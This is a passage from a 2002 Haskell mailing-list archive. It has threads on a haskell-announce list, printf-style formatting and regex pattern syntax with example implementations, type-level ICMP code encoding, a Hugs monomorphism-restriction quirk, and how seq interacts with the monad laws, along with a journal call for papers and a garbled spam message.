Adriano wrote: (snip) > I like the actual haskell/haskell-cafe situation. At least it seemed reasonable to me that many more people would be interested in discussing proposed changes to the Haskell 98 spec. than there are in wading through various newbie questions. I think the current haskell/haskell-cafe distinction allows this quite well, separating "important discussion" from other discussion. -- Mark From jadrian@mat.uc.pt Sat May 11 16:10:24 2002 From: jadrian@mat.uc.pt (Jorge Adriano) Date: Sat, 11 May 2002 16:10:24 +0100 Subject: SUGGESTION: haskell-announce mailing list In-Reply-To: References: Message-ID: <200205111610.24133.jadrian@mat.uc.pt> > > I like the actual haskell/haskell-cafe situation. > At least it seemed reasonable to me that many more people would be > interested in discussing proposed changes to the Haskell 98 spec. than > there are in wading through various newbie questions. I think the curre= nt > haskell/haskell-cafe distinction allows this quite well, separating > "important discussion" from other discussion. Yes, and some newbies (and some not so newbies) don't really care about a= ll=20 that discussions about the Haskell 98 spec. Sometimes it is a thin line=20 between both, but still I think having the two mailing lists is a good th= ing. J.A. From rumpe@in.tum.de Sun May 12 00:11:26 2002 From: rumpe@in.tum.de (Bernhard Rumpe) Date: Sun, 12 May 2002 01:11:26 +0200 Subject: SoSyM - New Intl. Journal on Software & System Modeling Message-ID: <20020511231131Z148007-286+1043@sunbroy49.informatik.tu-muenchen.de> *********************************************************************** * New International Journal * * Software and System Modeling (SoSyM) *********************************************************************** The new quarterly Springer journal titled Software and System Modeling (SoSyM) will be launched in Fall of 2002. Information about the journal and a call for papers can be found on the website: http://www.sosym.org SoSyM is a quarterly international journal that focuses on theoretical and practical issues pertaining to the development and application of software and system modeling languages and techniques. The aim of the journal is to publish high-quality works that further understanding of the theoretical underpinnings of modeling languages and techniques, present rigorous analyses of modeling experiences, and present scalable modeling techniques and processes that facilitate high-quality and economical development of software. We invite authors to submit papers that discuss and analyze concerns and experiences pertaining to software and system modeling languages, techniques, tools, practices and other facets. The following are some of the topic areas that are of interest: Methodological issues Development of modeling standards Formal syntax and semantics of modeling languages such as the UML Rigorous model-based analysis Model-based testing techniques Model composition and transformation Metamodeling techniques Measuring quality of models Generating test and code artifacts from models Case studies and experience reports with significant lessons learned Comparative analyses of modeling languages and techniques Scientific assessment of modeling practices The submission process is continuously open. Details can be found at: http://www.sosym.org and http://link.springer.de/link/service/journals/10270/index.htm You may subscribe to our regular announcements (e.g. about new issues) by sending an email to sosym-announcement-subscribe@yahoogroups.com Editors-in-Chief: Robert France Colorado State University Fort Collins, Colorado, USA E-mail: france@cs.colostate.edu Bernhard Rumpe Munich University of Technology Munich, Germany E-mail: rumpe@in.tum.de Editorial Board: Scott W. Ambler (Canada) Egidio Astesiano (Italy) Jean Bézivin (France) James M. Bieman (USA) Grady Booch (USA) Lionel Briand (Canada) Ed Brinksma (Netherlands) Manfred Broy (Germany) Jean-Michel Bruel (France) Jaelson F.B. Castro (Brazil) Betty H.C. Cheng (USA) Tony Clark (UK) Steve Cook (UK) Desmond D´Souza (USA) Gregor Engels (Germany) Andy Evans (UK) David Garlan (USA) Martin Gogolla (Germany) David Harel (Israel) Constance L. Heitmeyer (USA) Brian Henderson-Sellers (Australia) Heinrich Hussmann (Germany) Michael Jackson (UK) Ivar Jacobson (USA) Jean-Marc Jezequel (France) Stuart Kent (UK) Cris Kobryn (USA) Ingolf Krüger (USA) Kevin Lano (UK) Gary T. Leavens (USA) Pierre-Alain Muller (France) A. Jefferson Offutt (USA) Wolfgang Reisig (Germany) August-Wilhelm Scheer (Germany) Bran V. Selic (Canada) Perdita Stevens (UK) Jos Warmer (Netherlands) Roel W. Wieringa (Netherlands) Alan Cameron Wills (UK) Jim Woodcock (UK) PS: We apologize if you received this email more than once. From dfeuer@cs.brown.edu Sun May 12 04:27:20 2002 From: dfeuer@cs.brown.edu (David Feuer) Date: Sat, 11 May 2002 23:27:20 -0400 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <1021169285.19320.108.camel@moonglum>; from ogeorge@bigpond.net.au on Sun, May 12, 2002 at 12:08:05PM +1000 References: <1021169285.19320.108.camel@moonglum> Message-ID: <20020511232720.B18220@cslab7c.cs.brown.edu> On Sun, May 12, 2002, Oliver George wrote: > perl like things... > > msg' = replace "s/love/lust/" msg > > or, nice regex stuff... > > main = case match "^(\d+)" of > Nothing -> 0 > Just (i) -> i > Ick! regexes can be handled much better than that. Imagine something like: q = case x of /"^$" -> "Empty Line." /"^(foo@\d+)" -> foo ++ "hello!" /"confusion (foo@?) (bar@*)" -> "foo is" ++ foo ++ "And bar is" ++bar /"(a@*)" -> error "Sorry: I don't know what to do with "++a I don't know if this sort of syntax could work, but something similar would seem sensible. If it's not clear: the regex is used as a pattern. If it matches the string, that path is taken in the case statement. Also, wherever there are parenthesis with a "variable @", that variable is bound to the relevent string portion. > the python string notation (str % tuple) would fit really well too... > > putStrLn "hello %s, you got %d right" % ("oliver", 5) Might be nice. > > > Am I the only one who sees this as being a really valuable extension to > haskell? or does it exist and i've just never noticed? > > > cheers, Oliver. > _______________________________________________ > Haskell-Cafe mailing list > Haskell-Cafe@haskell.org > http://www.haskell.org/mailman/listinfo/haskell-cafe -- Night. An owl flies o'er rooftops. The moon sheds its soft light upon the trees. David Feuer From jadrian@mat.uc.pt Sun May 12 11:32:54 2002 From: jadrian@mat.uc.pt (Jorge Adriano) Date: Sun, 12 May 2002 11:32:54 +0100 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <20020511232720.B18220@cslab7c.cs.brown.edu> References: <1021169285.19320.108.camel@moonglum> <20020511232720.B18220@cslab7c.cs.brown.edu> Message-ID: <200205121132.54770.jadrian@mat.uc.pt> > > the python string notation (str % tuple) would fit really well too... > > putStrLn "hello %s, you got %d right" % ("oliver", 5) > > Might be nice. What would be the type of putStrLn then? J.A. From sebc@wise-language.org Sun May 12 11:50:24 2002 From: sebc@wise-language.org (Sebastien Carlier) Date: Sun, 12 May 2002 12:50:24 +0200 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <200205121132.54770.jadrian@mat.uc.pt> Message-ID: <1085E2FE-6596-11D6-82CB-00306546978E@wise-language.org> --Apple-Mail-1--56247867 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed >>> the python string notation (str % tuple) would fit really well too... >>> putStrLn "hello %s, you got %d right" % ("oliver", 5) >> >> Might be nice. > > What would be the type of putStrLn then? The type of putStrLn would remain unchanged. The idea would be to let the compiler translate the string "hello %s, you got %d right" into the function (\ (p1, p2) -> "hello " ++ p1 ++ ", you got " ++ show p2 ++ " right") so that the type system can do its work. Then the % above is only an application. There is of course no need for the tuple; a curried function would probably be more convenient. You may ask, how would the compiler know that this "string" is meant to be a function ? I think it would be nice to have a similar syntax for matching strings and for building strings. Following David's example: q = case x of /"^$" -> "Empty Line." /"^(foo@\d+)" -> /"%s hello!" foo /"confusion (foo@?) (bar@*)" -> /"foo is %s And bar is %s" foo bar /"(a@*)" -> error (/"Sorry: I don't know what to do with %s" a) -- "Choose Again." --Apple-Mail-1--56247867 Content-Transfer-Encoding: 7bit Content-Type: text/enriched; charset=US-ASCII the python string notation (str % tuple) would fit really well too... putStrLn "hello %s, you got %d right" % ("oliver", 5) Might be nice. What would be the type of putStrLn then? The type of putStrLn would remain unchanged. The idea would be to let the compiler translate the string 5454,0000,0000"hello %s, you got %d right" into the function (\ (p1, p2) -> "hello " ++ p1 ++ ", you got " ++ show p2 ++ " right") so that the type system can do its work. Then the % above is only an application. There is of course no need for the tuple; a curried function would probably be more convenient. You may ask, how would the compiler know that this "string" is meant to be a function ? I think it would be nice to have a similar syntax for matching strings and for building strings. Following David's example: q = case x of /"^$" -> "Empty Line." /"^(foo@\d+)" -> /"%s hello!" foo /"confusion (foo@?) (bar@*)" -> /"foo is %s And bar is %s" foo bar /"(a@*)" -> error (/"Sorry: I don't know what to do with %s" a) -- "Choose Again." --Apple-Mail-1--56247867-- From pixel@mandrakesoft.com Sun May 12 11:58:01 2002 From: pixel@mandrakesoft.com (Pixel) Date: 12 May 2002 12:58:01 +0200 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <200205121132.54770.jadrian@mat.uc.pt> References: <1021169285.19320.108.camel@moonglum> <20020511232720.B18220@cslab7c.cs.brown.edu> <200205121132.54770.jadrian@mat.uc.pt> Message-ID: Jorge Adriano writes: > > > the python string notation (str % tuple) would fit really well too... > > > putStrLn "hello %s, you got %d right" % ("oliver", 5) > > > > Might be nice. > > What would be the type of putStrLn then? some solutions to this: - cayenne http://www.cs.chalmers.se/~augustss/cayenne/ - ocaml's printf (special typing done by the compiler) http://caml.inria.fr/oreilly-book/html/book-ora076.html#toc105 - ocaml's printf could also be achieved via camlp4 (?) - you can also give up the sugar and write it (irk!): format (int oo lit " is " oo str oo eol) instead of sprintf "%d is %s\n" see "Functional Unparsing" http://www.brics.dk/RS/98/12/ http://tkb.mpl.com/~tkb/software.html From hdaume@ISI.EDU Sun May 12 20:07:19 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Sun, 12 May 2002 12:07:19 -0700 (PDT) Subject: GRIN as a backend Message-ID: There was talk a couple of years ago about attaching the GRIN backend to the GHC frontend; I was wondering if anything became of this, or if any other high-performance graph reduction algorithms have been implemented to the point of usability... - Hal -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume From dominic.j.steinitz@britishairways.com Sun May 12 20:22:11 2002 From: dominic.j.steinitz@britishairways.com (Dominic Steinitz) Date: Sun, 12 May 2002 20:22:11 +0100 Subject: Dependent Types Message-ID: I've managed to crack something that always annoyed me when I used to do network programming. However, Hugs and GHC behave differently. I'd be interested in views on this approach and also which implementation behaves correctly. Suppose I want to send an ICMP packet. The first byte is the type and the second byte is the code. Furthermore, the code depends on the type. Now you know at compile time that you can't use codes for one type with a different type. However, in Pascal (which is what I used to use) you only seemed to be able to carry out run time checks. Here's a way I came up with for checking at compile time in Haskell. module Main(main) where -- ICMP has many more values for the type byte but we only need two for the example. data Redirect = Redirect data TimeExceeded = TimeExceeded data ICMPType = MkRedirect Redirect | MkTimeExceeded TimeExceeded -- 5 and 11 are the values that get sent. instance Enum ICMPType where fromEnum (MkRedirect Redirect) = 5 fromEnum (MkTimeExceeded TimeExceeded) = 11 data ICMPCodeRedirect = RedirNet | RedirHost | RedirNetToS | RedirHostToS deriving Enum data ICMPCodeTimeExceeded = ExcTTL | ExcFragTime deriving Enum class Encode a b | a -> b where encode :: a -> b instance Encode ICMPType String where encode = show . fromEnum instance Encode Redirect (ICMPCodeRedirect -> String) where encode a y = encode (MkRedirect a) ++ (show (fromEnum y)) instance Encode TimeExceeded (ICMPCodeTimeExceeded -> String) where encode b z = encode (MkTimeExceeded b) ++ (show (fromEnum z)) Now I can say things like encode Redirect Redir and get the value "50". But if I say encode Redirect ExcTTL then I get a type error. GHC gives Couldn't match `ICMPCodeRedirect' against `ICMPCodeTimeExceeded' Expected type: ICMPCodeRedirect -> String Inferred type: ICMPCodeTimeExceeded -> t and Hugs gives ERROR: Constraints are not consistent with functional dependency *** Constraint : Encode Redirect (ICMPCodeTimeExceeded -> [Char]) *** And constraint : Encode Redirect (ICMPCodeRedirect -> String) *** For class : Encode a b *** Break dependency : a -> b This is just what you want as it picks up errors at compile time not at run time. However, if I now comment out the functional dependency class Encode a b {- | a -> b -} where encode :: a -> b and include the expressions x = encode TimeExceeded ExcTTL main = putStrLn x then Hugs complains ERROR "codes.hs" (line 37): Unresolved top-level overloading *** Binding : x *** Outstanding context : Encode TimeExceeded (ICMPCodeTimeExceeded -> b) whereas GHC doesn't complain. Which is right? Dominic. From syhua3000@9dns.net Mon May 13 05:47:44 2002 From: syhua3000@9dns.net (syhua3000) Date: Mon, 13 May 2002 00:47:44 -0400 (EDT) Subject: ×ð¾´µÄÐÂÀϿͻ§£º Message-ID: <20020513044744.2BE1F421FA8@www.haskell.org> ×ð¾´µÄÐÂÀϿͻ§£º ÄúºÃ£¡ Êý×ÖÒýÇæ(www.9dns.net)ΪÁË´ðлÄúÒÔ¼°¹ã´ó¿Í»§¶ÔÎÒ˾µÄÖ§³ÖºÍÐÅÈΣ¬ÎÒÃÇÔÙ´ÎÌá¸ßоɷþÎñÆ÷µÄÐÔÄÜ£¬ÈÃÄúµÄÍøÕ¾¿Õ¼äÔË×÷¸ü¿ì ¡¢¸üÎȶ¨¡¢¸ü°²È«£¬Í¬Ê±ÎÒÃÇ»¹½µµÍÁ˲úÆ·¼Û¸ñ£¬ÈÃÄúÏíÊܸüÓÅÖʵķþÎñ¡££¨ÎÒË¾ÍøÕ¾ÏÖÒÑȫиİ棺www.9dns.net£© 200M HTML¿Õ¼ä+1¸ö¹ú¼ÊÓòÃû£¬¼Û¸ñ150Ôª/Äê 100M¿Õ¼ä(Ö§³ÖASP)+100MÆóÒµÓʾÖ+20M ACCESSÊý¾Ý¿â+1¸ö¹ú¼ÊÓòÃû£¬ ½öÊÛ288Ôª/Äê 200M¿Õ¼ä(Ö§³ÖASP)+200MÆóÒµÓʾÖ+30M AccessÊý¾Ý¿â+1¸ö¹ú¼ÊÓòÃû£¬ ½öÊÛ338Ôª/Äê ÒÔÉÏÖ»ÊÇÁãÊÛ¼Û¸ñ¡£»¶Ó­Ñ¡¹º£¬Ò²»¶Ó­Äú³ÉΪÎÒÃǵĴúÀíÉÌ! ÎÒÃÇ»¹Óиü¶àµÄÀñ°üºÍÓŻݼ۸ñ£¬ÏêÇéÇë½ø http://www.9dns.net ¡£ ÏÃÃÅÊý×ÖÒýÇæÍøÂç¼¼ÊõÓÐÏÞ¹«Ë¾ --------------------------------------------------------------- ·ÐµãȺ·¢Óʼþ,À´×ÔÈí¼þ¹¤³Ìר¼ÒÍø(http://www.21cmm.com) ½øCMMÍøÐ£(http://www.21cmm.com)£¬³ÉÏîÄ¿¹ÜÀíר¼Ò From simonmar@microsoft.com Mon May 13 12:16:48 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Mon, 13 May 2002 12:16:48 +0100 Subject: Haddock installing problems Message-ID: <9584A4A864BD8548932F2F88EB30D1C609319C65@TVP-MSG-01.europe.corp.microsoft.com> > I was trying to install/compile Haddock 0.1 in my computer=20 > (Windows98 + Cygwin, GHC-5.02.3), but I got the following error message: >=20 > You must install the version of Perl shipped with GHC > (or a compatible one) in /bin. >=20 > I though I already had a version of Perl in my computer, since HOpenGL > (which uses it) was compiled succesfully. My /bin dir also=20 > contains a file > called perl.exe and another dir called Perl (which contains=20 > perl.exe too). This works for me, but I'm not a Cygwin/Windows expert so I'm not sure what the canonical answer should be. On my system I have the Cygwin perl.exe in /cygwin/bin, and this is also /bin under cygwin, because by default Cygwin seems to want to mount /cygwin as /. I've just successfully build Haddock on WinXP with a fresh install of Cygwin, GHC 5.02.3, and surprisingly little fiddling about (I think I had to set PATH to include GHC, but that was it). Cheers, Simon From haskell-cafe@haskell.org Mon May 13 17:09:59 2002 From: haskell-cafe@haskell.org (Simon Marlow) Date: Mon, 13 May 2002 17:09:59 +0100 Subject: SUGGESTION: haskell-announce mailing list Message-ID: <9584A4A864BD8548932F2F88EB30D1C609319DA5@TVP-MSG-01.europe.corp.microsoft.com> > yeah, I really like this because oftentimes an announcment=20 > will incite a > discussion, this way people can reply to the announcement on=20 > the haskell > list if they want to discuss it and the people who dont care about > anouncements can just stay on the announce list. >=20 > I Would also be moderately in favor of merging the haskell and > haskell-cafe lists back into one, mainly because I always felt the > distinction was somewhat arbitrary, who knows what=20 > discussions will turn > out to be too long or have interesting tangents until it is=20 > too late and > everyone has said everything on haskell? but this is a=20 > different issue. > I wonder how many addresses are on haskell and not=20 > haskell-cafe or vice There are about 850 people on the haskell list, and about 700 people on = haskell-caf=E9, and I'm sure that most of the haskell-caf=E9 members are = also haskell members. I'm happy to set up and moderate haskell-announce@haskell.org if there's = a general consensus that this would be a useful thing. As to whether we should merge haskell and haskell-caf=E9 - personally I = wasn't in favour of the split at the time, but I recall that support was = roughly 50/50 in favour. Unless there's an overwhelming majority in = favour of a merge I suggest we leave things as they are. Please don't mail the list with "I vote for haskell-announce"-type = messages, and direct follow-up discussion to haskell-cafe@haskell.org = (Reply-to: is set, I hope). Cheers, Simon (with haskell-admin@haskell.org hat on) From simonmar@microsoft.com Mon May 13 17:39:05 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Mon, 13 May 2002 17:39:05 +0100 Subject: Dependent Types Message-ID: <9584A4A864BD8548932F2F88EB30D1C609319DD2@TVP-MSG-01.europe.corp.microsoft.com> > However, if I now comment out the functional dependency >=20 > class Encode a b {- | a -> b -} where > encode :: a -> b >=20 > and include the expressions >=20 > x =3D encode TimeExceeded ExcTTL >=20 > main =3D putStrLn x >=20 > then Hugs complains >=20 > ERROR "codes.hs" (line 37): Unresolved top-level overloading > *** Binding : x > *** Outstanding context : Encode TimeExceeded=20 > (ICMPCodeTimeExceeded -> b) >=20 > whereas GHC doesn't complain. >=20 > Which is right? I think you're running into a well-known(*) problem with Hugs's implementation of the monomorphism restriction. According to the Haskell report, as long as a restricted binding is used monomorphically in the body of the module, it is ok. In this case, the constraint 'Encode TimeExceeded (ICMPCodeTimeExceeded -> b)' is resolved by the use of 'x' in the declaration for 'main', which forces the type variable b to String. Hugs applies the monomorphism restriction at the binding site, and complains if the binding isn't monomorphic without checking the rest of the module. It also applies defaulting at this point, which means that f =3D (+42) main =3D print (f 3 :: Int) also elicits an error in Hugs, but not in GHC. (*) actually I thought this was a well-known problem, but it doesn't seem to be mentioned in the Hugs documentation as far as I can see. Cheers,=09 Simon From simonmar@microsoft.com Mon May 13 18:04:51 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Mon, 13 May 2002 18:04:51 +0100 Subject: Dependent Types Message-ID: <9584A4A864BD8548932F2F88EB30D1C609319DD8@TVP-MSG-01.europe.corp.microsoft.com> > I think you're running into a well-known(*) problem with Hugs's > implementation of the monomorphism restriction. > > (*) actually I thought this was a well-known problem, but it doesn't > seem to be mentioned in the Hugs documentation as far as I can see. Here's a bit of background I managed to dig up: http://www.mail-archive.com/haskell@haskell.org/msg05160.html It appears that a change to the monomorphism restriction to match Hugs's behaviour was considered for Haskell 98, but it looks like it never made it into the report (for what reason I'm not sure - the arguments in favour of the change look fairly compelling). Cheers, Simon From bhuffman@galois.com Mon May 13 19:02:46 2002 From: bhuffman@galois.com (Brian Huffman) Date: Mon, 13 May 2002 11:02:46 -0700 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <1085E2FE-6596-11D6-82CB-00306546978E@wise-language.org> References: <1085E2FE-6596-11D6-82CB-00306546978E@wise-language.org> Message-ID: <200205131102.46935.bhuffman@galois.com> On Sunday 12 May 2002 03:50 am, Sebastien Carlier wrote: > >>> the python string notation (str % tuple) would fit really well too... > >>> putStrLn "hello %s, you got %d right" % ("oliver", 5) > >> > >> Might be nice. > > > > What would be the type of putStrLn then? > > The type of putStrLn would remain unchanged. > > The idea would be to let the compiler translate the string > "hello %s, you got %d right" > into the function > (\ (p1, p2) -> "hello " ++ p1 ++ ", you got " ++ show p2 ++ " right") > so that the type system can do its work. Then the % above is only an > application. > There is of course no need for the tuple; a curried function would > probably be more convenient. Here is a printf-style function that I hacked up this morning; it uses type classes but it doesn't need functional dependencies: module Printf where main = putStrLn $ printf "%i * %c = %d %s." (2::Integer) 'c' (6.0e8::Double) "meters/sec" class Printf a where printf :: String -> a printf' :: ShowS -> String -> a printf = printf' id instance Printf String where printf' pre pattern = pre pattern instance (Format a, Printf b) => Printf (a -> b) where printf' pre pattern x = let (text, pat') = break ('%'==) pattern (formatted, rest) = format x pat' in printf' (pre . showString text . showString formatted) rest -------------------------------------------- class Format a where format :: a -> String -> (String, String) instance Format Char where format c pat = case pat of '%':'c':rest -> ([c],rest) _ -> error "printf: extra char argument" instance Format String where format s pat = case pat of '%':'s':rest -> (s,rest) _ -> error "printf: extra string argument" instance Format Integer where format i pat = case pat of '%':'i':rest -> (show i,rest) _ -> error "printf: extra integer argument" instance Format Double where format d pat = case pat of '%':'d':rest -> (show d,rest) _ -> error "printf: extra double argument" From anatoli@yahoo.com Tue May 14 05:37:36 2002 From: anatoli@yahoo.com (anatoli) Date: Mon, 13 May 2002 21:37:36 -0700 (PDT) Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <200205131102.46935.bhuffman@galois.com> Message-ID: <20020514043736.12769.qmail@web14205.mail.yahoo.com> Brian Huffman wrote: > Here is a printf-style function that I hacked up this morning; it uses type > classes but it doesn't need functional dependencies: [snip] It's very nice and even extendable, though `class Printf String' is unfortunately not Haskell 98. But the bigger question is, how to support Posix-style positional arguments? They are essential for i18n. For instance, > printf "%1$s %2$s" "foo" "bar" -- ==> "foo bar" > printf "%2$s %1$s" "foo" "bar" -- ==> "bar foo" Naturally, such format strings cannot be pre-processed by the compiler since they are typically loaded from some message database at run time. -- anatoli t. __________________________________________________ Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience http://launch.yahoo.com From d95mback@dtek.chalmers.se Tue May 14 10:34:39 2002 From: d95mback@dtek.chalmers.se (Martin =?ISO-8859-1?Q?Norb=E4ck?=) Date: 14 May 2002 11:34:39 +0200 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <20020514043736.12769.qmail@web14205.mail.yahoo.com> References: <20020514043736.12769.qmail@web14205.mail.yahoo.com> Message-ID: <1021368880.22547.30.camel@caesar.safelogic.se> --=-3fMmjUHk1Os5MTvT3ceV Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable tis 2002-05-14 klockan 06.37 skrev anatoli: > Brian Huffman wrote: > > Here is a printf-style function that I hacked up this morning; it uses = type > > classes but it doesn't need functional dependencies: > [snip] > > It's very nice and even extendable, though `class Printf String' > is unfortunately not Haskell 98. But the bigger question is, how > to support Posix-style positional arguments? They are essential for > i18n. > > For instance, > > > printf "%1$s %2$s" "foo" "bar" -- =3D=3D> "foo bar" > > printf "%2$s %1$s" "foo" "bar" -- =3D=3D> "bar foo" > > Naturally, such format strings cannot be pre-processed by the > compiler since they are typically loaded from some message database > at run time. I agree that i18n needs positional arguments. What's wrong with simply doing like this: printf "I have %. %. %.." ["trained", show 1, "Jedi"] printf "%2. %3. %1. I have." ["trained", show 1, "Jedi"] with printf would look something like this: printf ('%':'%':rest) xs =3D '%' : printf rest xs printf ('%':'.':rest) (x:xs) =3D x ++ printf rest xs printf ('%':d:rest) xs | isDigit d =3D let (ds, rest') =3D span isDigit rest index =3D read (d:ds) in if null rest' || head rest' /=3D '.' || index > length xs then '%':printf (d:ds:rest') xs else xs!!(index - 1) ++ printf (tail rest') xs printf (r:rest) xs =3D r:printf rest xs=20 printf [] _ =3D [] Note that there are no errors if the format string is wrong in any way, it'= s just unchanged. Also, behaviour with both positional and normal formatters is not considered. Feel free to use this code snippet however you like. Regards, Martin -- Martin Norb=E4ck d95mback@dtek.chalmers.se Kapplandsgatan 40 +46 (0)708 26 33 60 S-414 78 G=D6TEBORG http://www.dtek.chalmers.se/~d95mback/ SWEDEN OpenPGP ID: 3FA8580B --=-3fMmjUHk1Os5MTvT3ceV Content-Type: application/pgp-signature; name=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: För information se http://www.gnupg.org/ iD8DBQA84NovkXyAGj+oWAsRAm4xAJ4mnzJDJn6p0EqibqOSY/9Rt8Zm/gCgimzf MvttZC3PqY26zuU7nZl4B+Q= =tFj1 -----END PGP SIGNATURE----- --=-3fMmjUHk1Os5MTvT3ceV-- From sebc@wise-language.org Tue May 14 10:59:28 2002 From: sebc@wise-language.org (Sebastien Carlier) Date: Tue, 14 May 2002 11:59:28 +0200 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <20020514043736.12769.qmail@web14205.mail.yahoo.com> Message-ID: <47E69D14-6721-11D6-B1E0-00306546978E@wise-language.org> --Apple-Mail-2-113496249 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On Tuesday, May 14, 2002, at 06:37 AM, anatoli wrote: > Brian Huffman wrote: >> Here is a printf-style function that I hacked up this morning; it uses >> type >> classes but it doesn't need functional dependencies: > [snip] > > It's very nice and even extendable, though `class Printf String' > is unfortunately not Haskell 98. I agree that it is a very nice use of type classes. But all type checking is done at runtime, because the code which is generated depends not on the string itself, but on the types of the arguments which are applied to (printf <>). For example, putStrLn $ printf "%s" (1 :: Integer) gives no error at compilation, but fails at runtime with: Program error: printf: extra integer argument > But the bigger question is, how to support Posix-style positional > arguments? They are essential for i18n. I hacked Brian's code to add this feature, see the attachment. --Apple-Mail-2-113496249 Content-Disposition: attachment; filename=Printf.hs Content-Transfer-Encoding: 7bit Content-Type: application/octet-stream; x-unix-mode=0644; name="Printf.hs" module Printf where main = do putStrLn $ printf "%i * %c = %d %s." (2::Integer) 'c' (6.0e8::Double) "meters/sec" putStrLn $ printf "foo is %2$s, bar is %1$s." "bar" "foo" a # b = b a class Printf a where printf :: String -> a printf pat = printf' 0 [] (const id) pat printf' :: Int -> [ShowS] -> ([ShowS] -> ShowS) -> String -> a instance Printf String where printf' n xs k pat = (k xs . showString pat) "" instance (Format a, Printf b) => Printf (a -> b) where printf' n xs k pat = \ x -> break ('%'==) pat # \ (text, ('%':pat')) -> format pat' n x # \ (k', x', rest) -> printf' (n + 1) (xs ++ [x']) (\ xs -> k xs . showString text . k' xs) rest class Format a where format :: String -> Int -> a -> ([ShowS] -> ShowS, ShowS, String) format pat@(c:_) n x | isDigit c = break ('$'==) pat # \ (pos, ('$':pat')) -> format pat' (read pos - 1 :: Int) x format pat n x = format' pat x # \ (f, rest) -> (\ xs -> xs!!n, f, rest) format' :: String -> a -> (ShowS, String) instance Format String where format' ('s':rest) x = (showString x, rest) instance Format Char where format' ('c':rest) x = (showString [x], rest) instance Format Integer where format' ('i':rest) x = (shows x, rest) instance Format Double where format' ('d':rest) x = (shows x, rest) --Apple-Mail-2-113496249 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1; format=flowed > For instance, > >> printf "%1$s %2$s" "foo" "bar" -- =3D=3D> "foo bar" >> printf "%2$s %1$s" "foo" "bar" -- =3D=3D> "bar foo" > > Naturally, such format strings cannot be pre-processed by the > compiler since they are typically loaded from some message > database at run time. Then you give up static type checking for format strings... Why not let the compiler pre-process this database, and generate some type-safe dynamically loadable object ? Or, you could embed a very restricted version of the compiler in the program, to pre-process and type-check the format strings at runtime (Yes, you would need to keep some type information in the executable program). -- S=E9bastien --Apple-Mail-2-113496249-- From simonmar@microsoft.com Tue May 14 12:14:02 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Tue, 14 May 2002 12:14:02 +0100 Subject: State monads don't respect the monad laws in Haskell Message-ID: <9584A4A864BD8548932F2F88EB30D1C609319F6E@TVP-MSG-01.europe.corp.microsoft.com> An interesting revelation just occurred to Simon P.J. and myself while wondering about issues to do with exceptions in the IO monad (see discussion on glasgow-haskell-users@haskell.org if you're interested). The question we were considering was whether the following should hold in the IO monad: (return () >>=3D \_ -> undefined) `seq` 42 =3D=3D undefined as we understand the IO monad it certainly shouldn't be the case. But according to the monad laws: (law) return a >>=3D k =3D=3D k a so (return () >>=3D \_ -> undefined) `seq` 42 =3D> ((\_ -> undefined) ()) `seq` 42 =3D> undefined `seq` 42 =3D> undefined So the IO monad in Haskell, at least as we understand it, doesn't satisfy the monad laws (or, depending on your point of view, seq breaks the monad laws). =20 This discrepancy applies to any state monad. Suppose we define return a =3D \s -> (s, a) m >>=3D k =3D \s -> case m s of (s', a) -> k a s' now return a >>=3D k =3D> \s -> case (return a) s of (s', a') -> k a' s' =3D> \s -> case (s, a) of (s', a') -> k a' s' =3D> \s -> k a s but (\s -> k a s) /=3D (k a) in Haskell, because seq can tell the difference. What should the report say about this? Cheers, Simon From dfeuer@cs.brown.edu Tue May 14 12:41:02 2002 From: dfeuer@cs.brown.edu (David Feuer) Date: Tue, 14 May 2002 07:41:02 -0400 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: <9584A4A864BD8548932F2F88EB30D1C609319F6E@TVP-MSG-01.europe.corp.microsoft.com>; from simonmar@microsoft.com on Tue, May 14, 2002 at 12:14:02PM +0100 References: <9584A4A864BD8548932F2F88EB30D1C609319F6E@TVP-MSG-01.europe.corp.microsoft.com> Message-ID: <20020514074102.E23700@cslab7c.cs.brown.edu> On Tue, May 14, 2002, Simon Marlow wrote: > An interesting revelation just occurred to Simon P.J. and myself while > wondering about issues to do with exceptions in the IO monad (see > discussion on glasgow-haskell-users@haskell.org if you're interested). > > The question we were considering was whether the following should hold > in the IO monad: > > (return () >>= \_ -> undefined) `seq` 42 == undefined > > as we understand the IO monad it certainly shouldn't be the case. But Why shouldn't this be the case? It seems kind of obvious. > So the IO monad in Haskell, at least as we understand it, doesn't > satisfy the monad laws (or, depending on your point of view, seq breaks > the monad laws). > > This discrepancy applies to any state monad. Suppose we define > > return a = \s -> (s, a) > m >>= k = \s -> case m s of (s', a) -> k a s' > > now > return a >>= k > => \s -> case (return a) s of (s', a') -> k a' s' > => \s -> case (s, a) of (s', a') -> k a' s' > => \s -> k a s > > but (\s -> k a s) /= (k a) in Haskell, because seq can > tell the difference. > > What should the report say about this? "Changes from Haskell 98: removed the seq primitive." Well, maybe not. But it would be really nice to find an alternative that didn't screw up so many different things. It seems that general cleanliness is more important for understanding programs than being able to use functions in all the same ways as datatypes (yes, I am aware that there are loads of issues regarding this that I don't understand, but the whole seq thing smells really funny. \a->\b->e should really equal \a b->e, \x->f x should equal f, etc. etc. Sometimes it seems as though every rule in Haskell has a list of exceptions relating to seq, and that sucks.) -- Night. An owl flies o'er rooftops. The moon sheds its soft light upon the trees. David Feuer From ross@soi.city.ac.uk Tue May 14 13:42:34 2002 From: ross@soi.city.ac.uk 